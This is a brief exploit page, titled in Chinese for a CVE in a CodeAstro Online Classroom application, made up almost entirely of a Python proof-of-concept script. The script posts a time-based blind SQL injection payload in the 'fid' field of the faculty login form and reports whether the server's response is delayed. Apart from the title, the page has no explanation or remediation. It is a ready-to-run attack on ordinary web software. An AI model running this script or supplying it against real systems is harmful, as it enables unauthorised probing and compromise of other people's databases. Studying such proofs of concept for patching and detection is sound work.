CVE-2026-7742 CodeAstro SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-ip/OnlineClassroom/facultylogin" # Malicious payload for 'fid' parameter (Time-Based Blind SQLi) # Attempts to delay response if the condition is true payload = "1' AND SLEEP(5)-- -" # Simulate a login request with the injected parameter post_data = { "fid": payload, "password": "random_password" } try: print("[*] Sending payload to target...") response = requests.post(target_url, data=post_data, timeout=10) # Analyze response time to check for blind SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Server response delayed.") else: print("[-] Payload did not trigger a delay, check manually.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")